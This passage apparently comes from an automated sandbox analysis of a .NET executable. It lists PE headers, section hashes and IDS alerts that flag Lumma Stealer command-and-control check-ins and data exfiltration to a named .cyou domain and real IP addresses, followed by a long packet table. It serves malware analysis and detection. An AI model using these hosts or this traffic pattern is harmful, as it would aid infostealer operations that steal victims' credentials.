add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2f0	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x5b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc2d4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa348	0xa400	abd98e17dabb73820961c263705d259f	False	0.24018673780487804	data	3.9056548187424664	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x5b0	0x600	c4e0313830c3e1cae6ac422e5cf1f45f	False	0.4186197916666667	data	4.137287324477428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10000	0xc	0x200	50e328932e35e54f33d1d8417285e696	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe090	0x320	data			0.42375
RT_MANIFEST	0xe3c0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T08:35:36.997805+0100	2057670	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sector-essay .cyou)	1	192.168.2.5	61746	1.1.1.1	53	UDP
2024-11-24T08:35:38.621322+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49705	104.21.47.136	443	TCP
2024-11-24T08:35:38.621322+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.47.136	443	TCP
2024-11-24T08:35:39.319394+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49705	104.21.47.136	443	TCP
2024-11-24T08:35:39.319394+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.47.136	443	TCP
2024-11-24T08:35:40.735887+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49706	104.21.47.136	443	TCP
2024-11-24T08:35:40.735887+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.47.136	443	TCP
2024-11-24T08:35:41.446509+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49706	104.21.47.136	443	TCP
2024-11-24T08:35:41.446509+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	104.21.47.136	443	TCP
2024-11-24T08:35:42.937475+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49707	104.21.47.136	443	TCP
2024-11-24T08:35:42.937475+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.47.136	443	TCP
2024-11-24T08:35:44.950948+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49708	104.21.47.136	443	TCP
2024-11-24T08:35:44.950948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.47.136	443	TCP
2024-11-24T08:35:47.056522+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49709	104.21.47.136	443	TCP
2024-11-24T08:35:47.056522+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.47.136	443	TCP
2024-11-24T08:35:49.322834+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49710	104.21.47.136	443	TCP
2024-11-24T08:35:49.322834+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.47.136	443	TCP
2024-11-24T08:35:50.066874+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49710	104.21.47.136	443	TCP
2024-11-24T08:35:51.956377+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49711	104.21.47.136	443	TCP
2024-11-24T08:35:51.956377+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	104.21.47.136	443	TCP
2024-11-24T08:35:51.960983+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49711	104.21.47.136	443	TCP
2024-11-24T08:35:55.574111+0100	2057671	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sector-essay .cyou in TLS SNI)	1	192.168.2.5	49722	104.21.47.136	443	TCP
2024-11-24T08:35:55.574111+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49722	104.21.47.136	443	TCP
2024-11-24T08:35:56.299081+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49722	104.21.47.136	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 08:35:33.931991100 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:34.052265882 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:34.052354097 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:34.052654982 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:34.172178984 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318037033 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318114042 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318150997 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318185091 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318218946 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318252087 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318288088 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318300962 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.318300962 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.318320990 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318351030 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.318355083 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318382978 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.318392038 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.318438053 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.438220024 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.438249111 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.438494921 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.510248899 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.510286093 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.510510921 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.514478922 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.514601946 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.514667988 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.522814989 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.522887945 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.522955894 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.531157017 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.531238079 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.531322956 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.539550066 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.539660931 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.539721012 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.547961950 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.548033953 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.548110962 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.556304932 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.556329966 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.556416988 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.564666986 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.564690113 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.564766884 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.573101044 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.573164940 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.573232889 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.581479073 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.581556082 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.581609964 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.589804888 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.589821100 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.589901924 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.702856064 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.702891111 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.703104973 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.705301046 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.705308914 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.705372095 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.709177971 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.709244967 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.709295988 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.714179993 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.714279890 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.714375973 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.719222069 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.719332933 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.719409943 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.724215031 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.724284887 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.724380970 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.729070902 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.729098082 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.729170084 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.733927011 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.734150887 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.734265089 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.738787889 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.738847017 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.738924026 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.743547916 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.743655920 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.743733883 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.748394966 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.748498917 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.748584986 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.753218889 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.753345966 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.753407955 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.758081913 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.758147001 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.758224010 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.763125896 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.763137102 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.763205051 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.767708063 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.767769098 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.767838001 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.772566080 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.772613049 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.772671938 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.895613909 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.895844936 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.895920992 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.897653103 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.897732973 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.897841930 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.901541948 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.901719093 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.901823997 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.905560970 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.905708075 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.905762911 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.909508944 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.909594059 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.909643888 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.913503885 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.913618088 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.913674116 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.917505980 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.917588949 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.917643070 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.921485901 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.921722889 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.921785116 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.925474882 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.925576925 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.925628901 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.929488897 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.929613113 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.929754019 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.933466911 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.933546066 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.933644056 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.937491894 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.937606096 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.937674999 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.941445112 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.941567898 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.941636086 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.945485115 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.945524931 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.945594072 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.949450016 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.949568987 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.949652910 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.953500986 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.953572989 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.953660011 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.957444906 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.957540035 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.957652092 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.961438894 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.961535931 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.961591005 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.965450048 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.965570927 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.965641975 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.969520092 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.969547033 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.969604015 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.973479033 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.973536015 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.973599911 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.977535009 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.977658033 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.977718115 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.981448889 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.981544018 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.981604099 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.985511065 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.985615015 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.985677004 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.989437103 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.989509106 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:35.989586115 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:35.993473053 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.042932987 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.086972952 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.087160110 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.087255001 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.088696957 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.088747025 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.088927031 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.092194080 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.092302084 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.092510939 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.095659971 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.095769882 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.095854044 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.099215984 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.099350929 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.099415064 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.102549076 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.102646112 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.102724075 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.105815887 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.105971098 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.106069088 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.109034061 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.109173059 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.109258890 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.112154961 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.112267971 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.112323046 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.115207911 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.115340948 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.115411997 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.118222952 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.118304014 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.118355036 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.121198893 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.121309996 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.121396065 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.124187946 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.124223948 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.124325991 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.127190113 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.127223969 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.127311945 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.130641937 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.130692959 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.130759954 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.133183956 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.133258104 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.133327961 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.136164904 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.136251926 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.136343002 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.139157057 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.139266968 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.139334917 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.142128944 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.142240047 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.142419100 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.145159960 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.145253897 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.145334959 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.148119926 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.148180008 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.148247957 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.151103973 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.151206017 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.151303053 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.154192924 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.154253960 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.154366016 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.157044888 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.157089949 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.157164097 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.160079002 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.160192013 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.160365105 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.163052082 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.163147926 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.163278103 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.166316986 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.166388988 CET	80	49704	147.45.44.131	192.168.2.5
Nov 24, 2024 08:35:36.166466951 CET	49704	80	192.168.2.5	147.45.44.131
Nov 24, 2024 08:35:36.169187069 CET	80	49704	147.45.44.131	192.168.2.5
